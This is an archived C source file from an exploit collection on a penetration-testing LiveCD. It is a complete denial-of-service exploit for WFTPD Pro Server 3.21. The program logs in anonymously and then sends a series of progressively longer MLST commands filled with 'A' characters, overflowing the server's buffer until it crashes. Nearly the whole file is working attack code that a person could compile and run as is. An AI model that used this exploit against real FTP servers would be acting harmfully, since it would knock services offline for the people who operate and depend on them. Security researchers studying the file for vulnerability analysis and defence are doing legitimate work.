home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wftpd / wftpd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  246 lines

  1. /*
  2. *-----------------------------------------------------------------------
  3. *
  4. * wftpd.c - WFTPD Pro Server 3.21 MLST DoS Exploit
  5. *
  6. * Copyright (C) 2000-2004 HUC All Rights Reserved.
  7. *
  8. * Author   : lion
  9. *          : lion@cnhonker.net
  10. *          : http://www.cnhonker.com
  11. * Date     : 2004-08-30
  12. *
  13. *-----------------------------------------------------------------------
  14. */
  15.  
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <winsock2.h>
  19.  
  20. #pragma comment(lib, "ws2_32.lib")
  21.  
  22. #define FTPPORT      21
  23. #define BUFFSIZE     204800
  24. #define OVERFLOWSIZE 220
  25. #define SIZE         2048      
  26.  
  27. // function
  28. int create_socket();
  29. int client_connect(int sockfd,char* server,int port);
  30. int writebuf(char *s,int socket,char *buffer,int len);
  31. int readbuf(char *s,int socket,char *buffer,int len);
  32. void checkstatus(char *s);
  33. void loginftp(SOCKET sockfd, char *user, char *pass);
  34.  
  35. int show = 1;
  36. char recvbuf[BUFFSIZE];
  37. char sendbuf[BUFFSIZE];
  38.  
  39. void main(int argc, char *argv[])
  40. {
  41.    WSADATA wsa;
  42.    unsigned short    port;
  43.    unsigned long     ip;
  44.    char user[32] = "anonymous";
  45.    char pass[32] = "anonymous";
  46.    int i;
  47.    
  48.    char *command = "MLST ";
  49.  
  50.    SOCKET s;
  51.    int size = OVERFLOWSIZE;
  52.  
  53.    printf("WFTPD Pro Server 3.21 MLST DoS Exploit\r\n");
  54.        printf("lion lion#cnhonker.net, http://www.cnhonker.com\r\n\n");
  55.  
  56.    if(argc < 3)
  57.    {
  58.        printf("%s <TargetHost> <TargetPort>\r\n", argv[0]);
  59.        return;
  60.    }
  61.    
  62.    WSAStartup(MAKEWORD(2,2),&wsa);
  63.  
  64.    if((s=create_socket())==0)
  65.    {
  66.        printf("[-] ERROR: Create socket failed.\r\n");
  67.        return;
  68.    }
  69.      
  70.    if(!client_connect(s, argv[1], atoi(argv[2])))
  71.        exit(-1);
  72.    
  73.    loginftp(s, user, pass);
  74.    
  75.    memset(sendbuf, 0 ,BUFFSIZE);
  76.    memcpy(sendbuf, "pasv\r\n", 6);
  77.    writebuf("Send pasv", s, sendbuf, 6);
  78.    readbuf("read", s, recvbuf, BUFFSIZE);
  79.    
  80.    for(i=0;i<60;i++,size++)
  81.    {
  82.        memset(sendbuf, 0, BUFFSIZE);
  83.        memset(sendbuf, 'A', size);
  84.        memcpy(sendbuf, command, strlen(command));
  85.        sendbuf[size-2] ='\r';
  86.        sendbuf[size-1] ='\n';
  87.        
  88.        printf("buff size :%d\r\n%s\r\n", strlen(sendbuf), sendbuf);
  89.        show=1;
  90.        writebuf("Send overflow buff", s, sendbuf, size);
  91.        readbuf("read", s, recvbuf, BUFFSIZE);
  92.        Sleep(500);
  93.    }
  94.    
  95.    //send QUIT
  96.    memset(sendbuf,0, BUFFSIZE);
  97.    sprintf(sendbuf, "%s\r\n", "QUIT");
  98.    writebuf("Send QUIT", s, sendbuf, strlen(sendbuf));
  99.    
  100.    //show=1;
  101.    //readbuf("[+] QUIT......", s, recvbuf, BUFFSIZE);    
  102.    //return;
  103.        
  104.    if(s)
  105.        closesocket(s);
  106.          
  107.    WSACleanup();
  108. }
  109.  
  110. int create_socket()
  111. {  
  112.    int sockfd;
  113.  
  114.    sockfd=socket(AF_INET,SOCK_STREAM,0);
  115.    if(sockfd<0)
  116.    {
  117.        printf("[-] Create socket error.\r\n");
  118.        return(0);
  119.    }
  120.    
  121.    return(sockfd);    
  122. }
  123.  
  124. int client_connect(int sockfd,char* server,int port)
  125. {
  126.    struct sockaddr_in cliaddr;
  127.    struct hostent *host;
  128.  
  129.    if((host=gethostbyname(server))==NULL)
  130.    {
  131.        printf("[-] ERROR: gethostbyname(%s) error\n", server);
  132.        return(-1);
  133.    }      
  134.    
  135.    memset(&cliaddr, 0, sizeof(struct sockaddr));
  136.  
  137.    cliaddr.sin_family=AF_INET;
  138.    cliaddr.sin_port=htons(port);
  139.    cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
  140.    printf("[+] Trying %s:%d......", server, port);
  141.    fflush(stdout);
  142.  
  143.    if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
  144.    {
  145.        printf("FAILED!\r\n");
  146.        closesocket(sockfd);
  147.        return(-1);
  148.    }
  149.  
  150.    printf("OK!\r\n");
  151.    return(1);
  152. }
  153.  
  154. int writebuf(char *s,int socket,char *buffer,int len)
  155. {
  156.    int j;
  157.  
  158.    if(s)
  159.    {
  160.        printf("[+] %s......", s);
  161.        fflush(stdout);
  162.    }    
  163.  
  164.    j=send(socket,buffer,len,0);
  165.    if(j<=0)
  166.    {
  167.        printf("FAILED!\r\n");
  168.            exit(-1);
  169.    }    
  170.    printf("OK!\r\n");
  171.    return j;
  172. }
  173.  
  174. int readbuf(char *s,int socket,char *buffer,int len)
  175. {
  176.    int a,b,i,j=0;
  177.    
  178.    a=b=i=0;
  179.    memset(buffer,0,len);
  180.  
  181.    if(s)
  182.    {
  183.        printf("[+] %s......", s);
  184.        fflush(stdout);
  185.    }
  186.  
  187.    j=recv(socket,buffer,len-1,0);
  188.    if(j <= 0)
  189.    {
  190.        if(s) printf("FAILED!\n");
  191.            printf("[-] Recv data error.\n");
  192.        exit(-1);
  193.    }    
  194.        
  195.    if(s) printf("OK!\n");
  196.  
  197.    buffer[len-1]='\0';
  198.  
  199.    if(show==1)  printf("<==\r\n%s<==\r\n",buffer);
  200.  
  201.    return j;
  202. }
  203.  
  204. void checkstatus(char *s)
  205. {
  206.    if(s==NULL) exit(-1);
  207.    if(isdigit(*s))
  208.    {
  209.        if(s[0]=='5')
  210.        {    
  211.            printf("[-] Server told:%s\n",s);
  212.            exit(-1);
  213.        }
  214.        else return;
  215.    }
  216.  
  217.    printf("[-] Server said:%s\n",s);
  218.    exit(-1);
  219. }
  220.  
  221. void loginftp(SOCKET sockfd, char *user, char *pass)
  222. {
  223.    int j;
  224.    
  225.    show=1;
  226.    readbuf("Get FTP Server banner",sockfd, recvbuf, SIZE);
  227.    //show=0;
  228.  
  229.    //send USER username
  230.    memset(sendbuf,0,BUFFSIZE);
  231.    j=sprintf(sendbuf,"%s %s\r\n", "USER", user);
  232.    writebuf("Send USER", sockfd,sendbuf,j);
  233.    readbuf(NULL,sockfd, recvbuf, BUFFSIZE);
  234.    checkstatus(recvbuf);
  235.  
  236.    //send PASS password
  237.    memset(sendbuf,0,BUFFSIZE);
  238.    j=sprintf(sendbuf,"%s %s\r\n","PASS", pass);
  239.    writebuf("Send PASS", sockfd, sendbuf, j);
  240.    readbuf(NULL,sockfd,recvbuf, BUFFSIZE);
  241.    checkstatus(recvbuf);
  242.    printf("[+] User %s logged in.\r\n", user);
  243. }
  244.  
  245.  
  246.